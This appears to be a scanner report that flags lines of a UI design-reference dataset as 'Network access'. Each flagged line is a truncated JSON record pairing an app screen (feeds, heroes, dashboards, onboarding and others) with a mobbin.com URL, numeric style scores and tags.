  • Network accessline 16
    {"id": "feed-infatuation", "app": "The Infatuation", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/14d3a696-6be0-4419-a510-bed6b852baa5", "source": "mobbin", "d": [85, 90, 40, 65, 15, 60, 65, 70], "tags": ["th
  • Network accessline 17
    {"id": "feed-atoms", "app": "Atoms", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/2d5f2c31-b892-4de9-bb19-46e40c6652d5", "source": "mobbin", "d": [55, 65, 35, 30, 85, 20, 55, 80], "tags": ["pastel", "serif", 
  • Network accessline 18
    {"id": "feed-applestore", "app": "Apple Store", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/ba37bf1c-39bb-4053-ac6c-7882855f82c8", "source": "mobbin", "d": [40, 20, 40, 25, 75, 30, 35, 50], "tags": ["native"
  • Network accessline 19
    {"id": "feed-mymind", "app": "mymind", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/b3cc88c2-6d93-49f5-aad1-05bf52a34fee", "source": "mobbin", "d": [45, 60, 55, 30, 50, 35, 45, 70], "tags": ["masonry", "serif
  • Network accessline 20
    {"id": "feed-wakingup", "app": "Waking Up", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/9d8eb802-a540-4638-a64e-3fbb3aca7ed3", "source": "mobbin", "d": [65, 70, 35, 30, 40, 10, 55, 60], "tags": ["collage", "
  • Network accessline 21
    {"id": "signup-height", "app": "Height", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/20970a9f-d4e3-4037-ad97-5435b629a20b", "source": "mobbin", "d": [20, 25, 70, 15, 30, 50, 5, 40], "tags": ["monochrome", 
  • Network accessline 22
    {"id": "signup-ghost", "app": "Ghost", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/da622210-897c-40c7-a1fd-ffc5314b9e8f", "source": "mobbin", "d": [45, 50, 35, 20, 30, 10, 30, 65], "tags": ["big type", "mi
  • Network accessline 23
    {"id": "signup-contractbook", "app": "Contractbook", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/8a125ba6-834a-4159-b040-075bcc058f5f", "source": "mobbin", "d": [80, 80, 40, 55, 35, 5, 80, 65], "tags": ["i
  • Network accessline 24
    {"id": "signup-loom", "app": "Loom", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/389204de-eb10-45c0-a7ea-a609c63f582c", "source": "mobbin", "d": [50, 60, 35, 35, 90, 45, 45, 55], "tags": ["soft", "gradient
  • Network accessline 25
    {"id": "signup-duolingo", "app": "Duolingo", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/fa4175f6-20cd-4fc6-9b3f-1f510609c152", "source": "mobbin", "d": [60, 75, 45, 55, 65, 30, 70, 65], "tags": ["playful"
  • Network accessline 26
    {"id": "signup-amazon", "app": "Amazon", "kind": "signup", "platform": "web", "mobbin_url": "https://mobbin.com/screens/a42adbc1-8e73-4f2a-8b6c-e8f41ff84290", "source": "mobbin", "d": [15, 40, 70, 15, 40, 5, 35, 40], "tags": ["utilitarian",
  • Network accessline 27
    {"id": "hero-studio-freight", "app": "Studio Freight", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/37214c10-d891-48bc-a46e-6050033671b4", "source": "mobbin", "d": [95, 90, 20, 75, 0, 0, 0, 35], "tags"
  • Network accessline 28
    {"id": "hero-analogue-agency", "app": "Analogue Agency", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/ce6ec47f-9562-4469-88db-1d1abeb05ccf", "source": "mobbin", "d": [90, 80, 25, 70, 10, 10, 15, 45], "
  • Network accessline 29
    {"id": "section-illoca", "app": "illoca", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/6820d250-c387-46cc-ba01-61933152a6e5", "source": "mobbin", "d": [75, 85, 35, 55, 25, 65, 55, 55], "tags": ["3D"
  • Network accessline 30
    {"id": "hero-grok", "app": "Grok", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/30ab578c-5e08-4070-905a-146bc41a8e12", "source": "mobbin", "d": [65, 55, 15, 30, 15, 20, 5, 15], "tags": ["dark", "mono t
  • Network accessline 31
    {"id": "hero-browserbase", "app": "Browserbase", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/8616612a-cd9d-478e-969c-a11502c3d35b", "source": "mobbin", "d": [70, 75, 30, 75, 40, 5, 80, 70], "tags": ["
  • Network accessline 32
    {"id": "hero-atlas-card", "app": "Atlas Card", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/8c09fb14-b75f-49c8-8511-4c2d7bb45e1e", "source": "mobbin", "d": [75, 65, 15, 35, 20, 40, 45, 80], "tags": ["f
  • Network accessline 33
    {"id": "hero-farfetch", "app": "FARFETCH", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/cdff4ac0-1d2a-46c6-b6ca-de21f268484c", "source": "mobbin", "d": [55, 50, 25, 20, 0, 0, 20, 45], "tags": ["photogr
  • Network accessline 34
    {"id": "hero-claude-type", "app": "Claude Type", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/7f12bf1b-35f6-473b-bec7-19c4e2a4a1c9", "source": "mobbin", "d": [92, 80, 10, 40, 70, 5, 5, 70], "tags": ["s
  • Network accessline 35
    {"id": "section-github", "app": "GitHub", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/e36f0a2d-c4fa-4ae9-b2eb-730aa440d508", "source": "mobbin", "d": [50, 55, 55, 55, 25, 60, 45, 15], "tags": ["dar
  • Network accessline 36
    {"id": "hero-mana-yerba-mate", "app": "MANA Yerba Maté", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/1bdcc550-68a0-4c2b-b010-473839dbf7bc", "source": "mobbin", "d": [80, 90, 15, 60, 80, 15, 65, 90], "
  • Network accessline 37
    {"id": "hero-koto", "app": "Koto", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/dd3211bb-5bfb-4b0e-810e-5d53afec0244", "source": "mobbin", "d": [95, 95, 40, 85, 40, 55, 80, 80], "tags": ["collage", "re
  • Network accessline 38
    {"id": "hero-pitch", "app": "Pitch", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/dfab94b0-8064-4f4a-8c35-bcbe13bee5d4", "source": "mobbin", "d": [75, 70, 25, 60, 70, 65, 70, 75], "tags": ["3D", "masco
  • Network accessline 39
    {"id": "pricing-opentable", "app": "OpenTable", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/0c81e36a-14f6-471d-9ce7-8930b284a9f2", "source": "mobbin", "d": [40, 45, 45, 50, 60, 30, 70, 65], "tags":
  • Network accessline 40
    {"id": "pricing-travelperk", "app": "TravelPerk", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/7960b30e-a40a-4ef8-b4e2-89d4c80cb113", "source": "mobbin", "d": [45, 55, 35, 35, 70, 5, 30, 60], "tags"
  • Network accessline 41
    {"id": "pricing-epidemic-sound", "app": "Epidemic Sound", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/2e9b00d8-3046-4435-b50d-877c5202d58d", "source": "mobbin", "d": [25, 30, 55, 30, 5, 10, 30, 20]
  • Network accessline 42
    {"id": "pricing-pangram", "app": "Pangram", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/98bb23f5-1775-4779-910c-cd5a2c8a7af2", "source": "mobbin", "d": [45, 65, 75, 50, 30, 20, 55, 65], "tags": ["s
  • Network accessline 43
    {"id": "pricing-mailchimp", "app": "Mailchimp", "kind": "pricing", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/3eefd7ba-1398-453d-9c7b-0dac1d869c40", "source": "mobbin", "d": [30, 60, 40, 40, 0, 0, 50, 55], "tags": [
  • Network accessline 44
    {"id": "section-microsoft-ai", "app": "Microsoft AI", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/e3fdbb22-95d2-462e-a6f1-b502535702e8", "source": "mobbin", "d": [55, 60, 20, 25, 15, 0, 40, 85], "t
  • Network accessline 45
    {"id": "hero-shader", "app": "Shader", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/db7ca27c-ff93-4469-9cb3-2a965439b122", "source": "mobbin", "d": [85, 90, 25, 55, 30, 20, 40, 85], "tags": ["retro", "
  • Network accessline 46
    {"id": "hero-freitag", "app": "FREITAG", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/cac5c6fe-01b5-4769-8972-a2d70c190673", "source": "mobbin", "d": [95, 95, 45, 95, 5, 0, 35, 30], "tags": ["brutalist
  • Network accessline 47
    {"id": "hero-slash", "app": "Slash", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/b44c4394-b90c-44c2-aeb1-d1adad927c1c", "source": "mobbin", "d": [75, 65, 15, 35, 55, 70, 30, 55], "tags": ["dark", "ser
  • Network accessline 48
    {"id": "hero-corgi", "app": "Corgi", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/ca8cfbe5-8579-4333-8cdd-72d05332fe6f", "source": "mobbin", "d": [70, 75, 30, 55, 50, 25, 50, 75], "tags": ["collage", "
  • Network accessline 49
    {"id": "hero-mercury", "app": "Mercury", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/36860ef7-69eb-4cac-9ad4-cf2c5c097dba", "source": "mobbin", "d": [45, 40, 40, 20, 70, 30, 25, 35], "tags": ["product
  • Network accessline 50
    {"id": "hero-eat-hungry-tiger", "app": "Eat Hungry Tiger", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/0a65ae4c-404c-4d2d-bc70-bef248345510", "source": "mobbin", "d": [92, 90, 30, 80, 70, 15, 85, 95],
  • Network accessline 51
    {"id": "hero-yellowbird", "app": "Yellowbird", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/52ad00dc-133b-4d95-8b9a-c3c7bde88887", "source": "mobbin", "d": [90, 95, 30, 85, 60, 0, 95, 90], "tags": ["bo
  • Network accessline 52
    {"id": "hero-classdojo", "app": "ClassDojo", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/screens/2cdacbbd-9cef-4a54-9736-6f17a8e88f14", "source": "mobbin", "d": [65, 85, 45, 70, 80, 15, 80, 85], "tags": ["mascot", "
  • Network accessline 53
    {"id": "hero-fluz", "app": "Fluz", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/b3804f3e-73ac-4da8-b3c1-bf00545cdc69", "source": "mobbin", "d": [92, 80, 20, 85, 50, 45, 90, 55], "tags": ["gradient", "c
  • Network accessline 54
    {"id": "section-handshake", "app": "Handshake", "kind": "section", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/95bba240-ae20-4b7f-b5b6-cd8fc1ca2da3", "source": "mobbin", "d": [90, 90, 55, 90, 30, 5, 75, 45], "tags": 
  • Network accessline 55
    {"id": "hero-monte", "app": "Monte", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/664a16ca-816d-495d-b577-e08ce5c6f1a5", "source": "mobbin", "d": [60, 80, 25, 30, 45, 25, 45, 95], "tags": ["serif", "ph
  • Network accessline 56
    {"id": "hero-threads", "app": "Threads", "kind": "hero", "platform": "web", "mobbin_url": "https://mobbin.com/sites/sections/83216193-a896-4546-bbec-161d1d1844c3", "source": "mobbin", "d": [70, 75, 40, 60, 50, 50, 60, 55], "tags": ["dark", 
  • Network accessline 57
    {"id": "dashboard-slack", "app": "Slack", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/fd9a81ad-6a72-4916-8eed-5092bd02ad17", "source": "mobbin", "d": [30, 70, 50, 45, 55, 20, 60, 60], "tags": ["bold col
  • Network accessline 58
    {"id": "dashboard-clickup", "app": "ClickUp", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/180ebd25-bd1d-4943-a6a7-75f23f5ed75f", "source": "mobbin", "d": [20, 45, 92, 70, 45, 15, 60, 45], "tags": ["dens
  • Network accessline 59
    {"id": "dashboard-trello", "app": "Trello", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/ab05e087-be7e-4023-9053-6a052ed3ac9a", "source": "mobbin", "d": [55, 60, 25, 45, 40, 40, 40, 70], "tags": ["full-b
  • Network accessline 60
    {"id": "table-fey", "app": "Fey", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/1258f74f-b76a-4411-ab06-3a0f78c48fd6", "source": "mobbin", "d": [25, 55, 85, 35, 35, 15, 25, 15], "tags": ["dark", "dense", "tec
  • Network accessline 61
    {"id": "table-quickbooks", "app": "QuickBooks", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/dd2affca-706e-4cbb-a7ed-8201b705054e", "source": "mobbin", "d": [10, 15, 90, 25, 15, 5, 10, 30], "tags": ["dense",
  • Network accessline 62
    {"id": "table-attio", "app": "Attio", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/454a3d55-3d18-47fa-b3ba-1361377bd49b", "source": "mobbin", "d": [20, 40, 80, 45, 40, 5, 50, 45], "tags": ["dense", "hairline
  • Network accessline 63
    {"id": "table-deel", "app": "Deel", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/3bc65840-9e16-4227-82fa-6068da77bf1b", "source": "mobbin", "d": [35, 50, 45, 20, 70, 15, 25, 55], "tags": ["airy", "soft", "pi
  • Network accessline 64
    {"id": "table-neon", "app": "Neon", "kind": "table", "platform": "web", "mobbin_url": "https://mobbin.com/screens/926541e1-1d12-4677-8faf-54193a709b17", "source": "mobbin", "d": [10, 35, 75, 15, 20, 5, 8, 25], "tags": ["mono type", "monochr
  • Network accessline 65
    {"id": "settings-superlist", "app": "Superlist", "kind": "settings", "platform": "web", "mobbin_url": "https://mobbin.com/screens/99f1615e-cc2b-43cc-b2f1-b2a274545e0f", "source": "mobbin", "d": [60, 75, 15, 25, 85, 30, 45, 70], "tags": ["ph
  • Network accessline 66
    {"id": "settings-expensify", "app": "Expensify", "kind": "settings", "platform": "web", "mobbin_url": "https://mobbin.com/screens/f6c2908a-b624-49fe-a9dd-5bfd1a470a3b", "source": "mobbin", "d": [35, 70, 30, 25, 75, 5, 30, 85], "tags": ["ill
  • Network accessline 67
    {"id": "settings-plain", "app": "Plain", "kind": "settings", "platform": "web", "mobbin_url": "https://mobbin.com/screens/6f315240-783e-460f-a698-2d79df004546", "source": "mobbin", "d": [20, 45, 45, 15, 40, 10, 10, 20], "tags": ["dark", "mo
  • Network accessline 68
    {"id": "settings-heidi", "app": "Heidi", "kind": "settings", "platform": "web", "mobbin_url": "https://mobbin.com/screens/2f38b988-c02a-4f1c-a423-dfe1c14227e6", "source": "mobbin", "d": [35, 65, 30, 15, 65, 15, 20, 80], "tags": ["serif", "s
  • Network accessline 69
    {"id": "chat-claude", "app": "Claude", "kind": "chat", "platform": "web", "mobbin_url": "https://mobbin.com/screens/e8c0af18-6e3a-4273-93c1-935e958ff8b3", "source": "mobbin", "d": [45, 75, 10, 10, 55, 15, 15, 90], "tags": ["serif", "airy", 
  • Network accessline 70
    {"id": "chat-notion", "app": "Notion", "kind": "chat", "platform": "web", "mobbin_url": "https://mobbin.com/screens/176a7fae-1de4-4d50-a28b-cb14eef8b18b", "source": "mobbin", "d": [40, 65, 25, 20, 60, 20, 10, 70], "tags": ["mascot", "illust
  • Network accessline 71
    {"id": "chat-whatsapp", "app": "WhatsApp", "kind": "chat", "platform": "web", "mobbin_url": "https://mobbin.com/screens/0da3d5bc-b3a5-4ee1-ace5-96e83cb3d06f", "source": "mobbin", "d": [20, 65, 60, 30, 70, 10, 30, 75], "tags": ["native", "so
  • Network accessline 72
    {"id": "empty-typeform", "app": "Typeform", "kind": "empty", "platform": "web", "mobbin_url": "https://mobbin.com/screens/648d4700-8592-4be4-8b65-5931ac44fd17", "source": "mobbin", "d": [40, 60, 5, 10, 40, 0, 15, 75], "tags": ["illustration
  • Network accessline 73
    {"id": "empty-tally", "app": "Tally", "kind": "empty", "platform": "web", "mobbin_url": "https://mobbin.com/screens/0f2523c5-d61e-4384-a934-c169dbb1eaeb", "source": "mobbin", "d": [40, 60, 10, 20, 40, 0, 15, 70], "tags": ["illustration", "a
  • Network accessline 74
    {"id": "empty-literal", "app": "Literal", "kind": "empty", "platform": "web", "mobbin_url": "https://mobbin.com/screens/fb36989d-05af-4136-bb73-634a2e0ba1f9", "source": "mobbin", "d": [35, 70, 5, 10, 5, 0, 0, 50], "tags": ["serif", "sharp",
  • Network accessline 75
    {"id": "empty-paypal", "app": "PayPal", "kind": "empty", "platform": "web", "mobbin_url": "https://mobbin.com/screens/f4e1520d-0cb2-4222-b131-30e88051a74d", "source": "mobbin", "d": [45, 70, 15, 30, 40, 10, 45, 45], "tags": ["3D", "bold col
  • Network accessline 76
    {"id": "editor-readymag", "app": "Readymag", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/94999273-419c-4125-8f9d-6caa3fc70a54", "source": "mobbin", "d": [90, 70, 10, 40, 40, 10, 10, 50], "tags": ["big type
  • Network accessline 77
    {"id": "editor-canva", "app": "Canva", "kind": "editor", "platform": "web", "mobbin_url": "https://mobbin.com/screens/2e08fb69-7319-4ad3-94aa-cdd25f2841ca", "source": "mobbin", "d": [35, 75, 55, 50, 55, 25, 65, 60], "tags": ["gradient", "bo
  • Network accessline 78
    {"id": "dashboard-wise", "app": "Wise", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/d9223593-f3c2-4a80-819e-959b17c68b82", "source": "mobbin", "d": [50, 90, 40, 60, 75, 10, 70, 65], "tags": ["dark", "ne
  • Network accessline 79
    {"id": "dashboard-revolut-business", "app": "Revolut Business", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/7e6026ac-4e5c-46fe-8e0a-9af8c72a9c49", "source": "mobbin", "d": [40, 70, 35, 40, 60, 50, 30, 1
  • Network accessline 80
    {"id": "dashboard-quicken", "app": "Quicken", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/2c73cf61-ae0e-452a-b38e-c360115a6216", "source": "mobbin", "d": [30, 40, 65, 45, 50, 20, 55, 40], "tags": ["bent
  • Network accessline 81
    {"id": "dashboard-rise", "app": "Rise", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/19ebd6b1-e3fc-4c61-b57b-677aca7ea63f", "source": "mobbin", "d": [25, 50, 65, 35, 40, 10, 45, 55], "tags": ["dark", "de
  • Network accessline 82
    {"id": "dashboard-sweatpals", "app": "Sweatpals", "kind": "dashboard", "platform": "web", "mobbin_url": "https://mobbin.com/screens/c2e1c5aa-eab9-4bc9-9b3e-c8ed15aa96dd", "source": "mobbin", "d": [30, 65, 30, 35, 45, 10, 25, 35], "tags": ["
  • Network accessline 83
    {"id": "search-magnific", "app": "Magnific", "kind": "search", "platform": "web", "mobbin_url": "https://mobbin.com/screens/498653f3-f723-4550-9504-7132a25b73a1", "source": "mobbin", "d": [65, 55, 80, 90, 65, 10, 95, 85], "tags": ["photogra
  • Network accessline 84
    {"id": "search-behance", "app": "Behance", "kind": "search", "platform": "web", "mobbin_url": "https://mobbin.com/screens/8361c9a7-83ab-45e3-944d-b1c982cc8ac5", "source": "mobbin", "d": [70, 60, 40, 85, 20, 10, 90, 55], "tags": ["card grid"
  • Network accessline 85
    {"id": "search-selfridges", "app": "Selfridges", "kind": "search", "platform": "web", "mobbin_url": "https://mobbin.com/screens/a22d22a5-0901-4a64-b5e4-ec3bf6fc2eb4", "source": "mobbin", "d": [50, 70, 45, 20, 5, 0, 20, 45], "tags": ["editor
  • Network accessline 86
    {"id": "player-md-vinyl", "app": "MD Vinyl", "kind": "player", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/18683173-9b09-413c-8933-0f5e8108b189", "source": "mobbin", "d": [70, 80, 30, 40, 55, 80, 30, 45], "tags": ["dark", "
  • Network accessline 87
    {"id": "player-opal", "app": "Opal", "kind": "player", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/d46594cb-5123-4482-8f0b-c43dd216cdfc", "source": "mobbin", "d": [75, 75, 15, 70, 75, 45, 90, 45], "tags": ["gradient", "grai
  • Network accessline 88
    {"id": "player-apple-music", "app": "Apple Music", "kind": "player", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/d4a6d414-51a2-4b37-8a3a-aa279a037e0f", "source": "mobbin", "d": [70, 20, 30, 35, 75, 65, 30, 50], "tags": ["gl
  • Network accessline 89
    {"id": "player-epidemic-sound", "app": "Epidemic Sound", "kind": "player", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/c36382c4-3d8c-4a06-9aa9-f28b547db609", "source": "mobbin", "d": [35, 40, 45, 20, 20, 10, 5, 30], "tags":
  • Network accessline 90
    {"id": "feed-zomato", "app": "Zomato", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/112964bd-32c2-4eb1-890d-116a5cd6ef6d", "source": "mobbin", "d": [45, 70, 90, 90, 60, 20, 80, 70], "tags": ["dense", "bold co
  • Network accessline 91
    {"id": "feed-swiggy", "app": "Swiggy", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/62577fea-e319-4e9c-99a4-36b0834df88c", "source": "mobbin", "d": [55, 75, 55, 55, 75, 15, 55, 75], "tags": ["big type", "past
  • Network accessline 92
    {"id": "feed-wonder", "app": "Wonder", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/81edd6ea-7729-4fb8-a1c3-8f7aae4b4b4a", "source": "mobbin", "d": [35, 65, 50, 30, 35, 10, 45, 85], "tags": ["illustration", "
  • Network accessline 93
    {"id": "feed-postmates", "app": "Postmates", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/ed08c352-911b-4ee4-a8e4-0538a2b48bb4", "source": "mobbin", "d": [35, 30, 35, 25, 60, 5, 25, 50], "tags": ["photography
  • Network accessline 94
    {"id": "dashboard-revolut", "app": "Revolut", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/dad40228-042e-4bff-abf4-6c8cee4d9bcb", "source": "mobbin", "d": [70, 70, 30, 50, 85, 40, 70, 20], "tags": ["grad
  • Network accessline 95
    {"id": "dashboard-bunq", "app": "bunq", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/b3ea2bd9-6ab0-4d6a-a6c6-098d69569268", "source": "mobbin", "d": [45, 80, 65, 70, 55, 20, 80, 50], "tags": ["dark", "bo
  • Network accessline 96
    {"id": "dashboard-wealthsimple", "app": "Wealthsimple", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/6527f538-b697-4608-99d2-5fc244d82c4d", "source": "mobbin", "d": [45, 50, 10, 10, 55, 5, 10, 45], "tags
  • Network accessline 97
    {"id": "dashboard-apple-fitness", "app": "Apple Fitness", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/527bed87-fe98-4e4d-b778-b635c9475df5", "source": "mobbin", "d": [75, 40, 45, 80, 75, 10, 70, 35], "t
  • Network accessline 98
    {"id": "dashboard-bevel", "app": "Bevel", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/d99b3093-5eca-4cc4-aadd-36a6de950dd1", "source": "mobbin", "d": [50, 55, 40, 35, 85, 70, 50, 70], "tags": ["glass", 
  • Network accessline 99
    {"id": "detail-marriott-bonvoy", "app": "Marriott Bonvoy", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/93484c41-34c4-4a02-bf90-6255b27c010e", "source": "mobbin", "d": [55, 50, 35, 30, 40, 10, 25, 40], "tag
  • Network accessline 100
    {"id": "detail-trip-com", "app": "Trip.com", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/96aab0c5-2c83-406a-8e48-940b442100d9", "source": "mobbin", "d": [20, 45, 90, 60, 45, 20, 40, 40], "tags": ["dense", 
  • Network accessline 101
    {"id": "detail-zara", "app": "ZARA", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/8ef07b08-db4e-42ea-8945-62c9399bed2f", "source": "mobbin", "d": [35, 70, 10, 5, 0, 0, 5, 45], "tags": ["editorial", "monochr
  • Network accessline 102
    {"id": "detail-shein", "app": "SHEIN", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/04c3017d-4662-4280-b86a-bf5c337bbede", "source": "mobbin", "d": [55, 60, 80, 85, 30, 15, 70, 55], "tags": ["dense", "photo
  • Network accessline 103
    {"id": "detail-faire", "app": "Faire Wholesale", "kind": "detail", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/6364138f-724a-4bfb-92bd-7e78ed87e746", "source": "mobbin", "d": [40, 55, 45, 25, 20, 5, 45, 70], "tags": ["serif
  • Network accessline 104
    {"id": "profile-retro", "app": "Retro", "kind": "profile", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/43c22496-6086-4226-bcf8-4c09594e3949", "source": "mobbin", "d": [60, 70, 50, 30, 55, 5, 40, 55], "tags": ["serif", "big 
  • Network accessline 105
    {"id": "profile-cosmos", "app": "Cosmos", "kind": "profile", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/3b572582-e62d-4880-99fe-fe5a597a9295", "source": "mobbin", "d": [30, 40, 30, 15, 65, 10, 30, 45], "tags": ["masonry", 
  • Network accessline 106
    {"id": "profile-numo", "app": "Numo", "kind": "profile", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/75411b93-a711-4b0d-8ddf-5387f4c5bba2", "source": "mobbin", "d": [80, 90, 35, 85, 90, 40, 95, 80], "tags": ["bold colour", 
  • Network accessline 107
    {"id": "profile-instagram", "app": "Instagram", "kind": "profile", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/bea6b7c5-8dfd-40c5-9cdb-63aad72ee143", "source": "mobbin", "d": [20, 30, 90, 70, 5, 0, 65, 50], "tags": ["photog
  • Network accessline 108
    {"id": "map-corner", "app": "corner", "kind": "map", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/aa246b2d-9ec8-4503-b1ac-dba47fd1ee8e", "source": "mobbin", "d": [45, 65, 60, 50, 65, 25, 40, 60], "tags": ["sticker", "pill sh
  • Network accessline 109
    {"id": "map-shell", "app": "Shell", "kind": "map", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/f16fd503-b7ae-4915-ac22-ea17a2cc6d73", "source": "mobbin", "d": [30, 60, 75, 65, 40, 20, 55, 45], "tags": ["dense", "utilitarian
  • Network accessline 110
    {"id": "feed-kit", "app": "Kit", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/ccfc2094-3ae7-4d12-a8a6-1dc25dfcaa32", "source": "mobbin", "d": [80, 85, 30, 60, 75, 50, 70, 80], "tags": ["illustration", "3D", "
  • Network accessline 111
    {"id": "dashboard-not-boring-weather", "app": "(Not Boring) Weather", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/8a84dc0d-28eb-4315-b056-3fa4a62c1222", "source": "mobbin", "d": [85, 90, 40, 55, 60, 15,
  • Network accessline 112
    {"id": "dashboard-weather-channel", "app": "The Weather Channel", "kind": "dashboard", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/2a9e8135-5669-4923-a97b-48fed3144d5e", "source": "mobbin", "d": [65, 60, 45, 35, 50, 15, 40,
  • Network accessline 113
    {"id": "feed-nibble", "app": "Nibble", "kind": "feed", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/26bd72ec-764b-41dc-95dc-4180ad3c554e", "source": "mobbin", "d": [65, 75, 40, 45, 75, 35, 70, 85], "tags": ["illustration", "
  • Network accessline 114
    {"id": "onboarding-too-good-to-go", "app": "Too Good To Go", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/acb20a50-a54c-408a-a994-c72f16b242ee", "source": "mobbin", "d": [70, 80, 20, 40, 80, 40, 40, 75]
  • Network accessline 115
    {"id": "onboarding-cash-app", "app": "Cash App", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/5d56414f-8181-4402-b4e0-d2a5116d8b28", "source": "mobbin", "d": [60, 75, 15, 45, 80, 5, 25, 55], "tags": ["i
  • Network accessline 116
    {"id": "onboarding-structured", "app": "Structured", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/eeccf538-67f4-4fd4-b551-dc2ef6e27bf6", "source": "mobbin", "d": [75, 85, 30, 60, 60, 55, 80, 85], "tags"
  • Network accessline 117
    {"id": "onboarding-monzo", "app": "Monzo", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/2041afe7-8363-4ad7-8030-eeec4e396f71", "source": "mobbin", "d": [55, 65, 25, 45, 85, 15, 65, 70], "tags": ["illust
  • Network accessline 118
    {"id": "onboarding-oura", "app": "Oura", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/978210eb-c854-4186-9fca-c377e45c1b47", "source": "mobbin", "d": [55, 60, 35, 25, 30, 10, 45, 50], "tags": ["dark", "
  • Network accessline 119
    {"id": "onboarding-bumble", "app": "Bumble", "kind": "onboarding", "platform": "ios", "mobbin_url": "https://mobbin.com/screens/56d5faa0-b9cd-438e-a73c-361996fa6dd3", "source": "mobbin", "d": [60, 75, 30, 50, 70, 0, 50, 70], "tags": ["illus
  • Network accessline 120
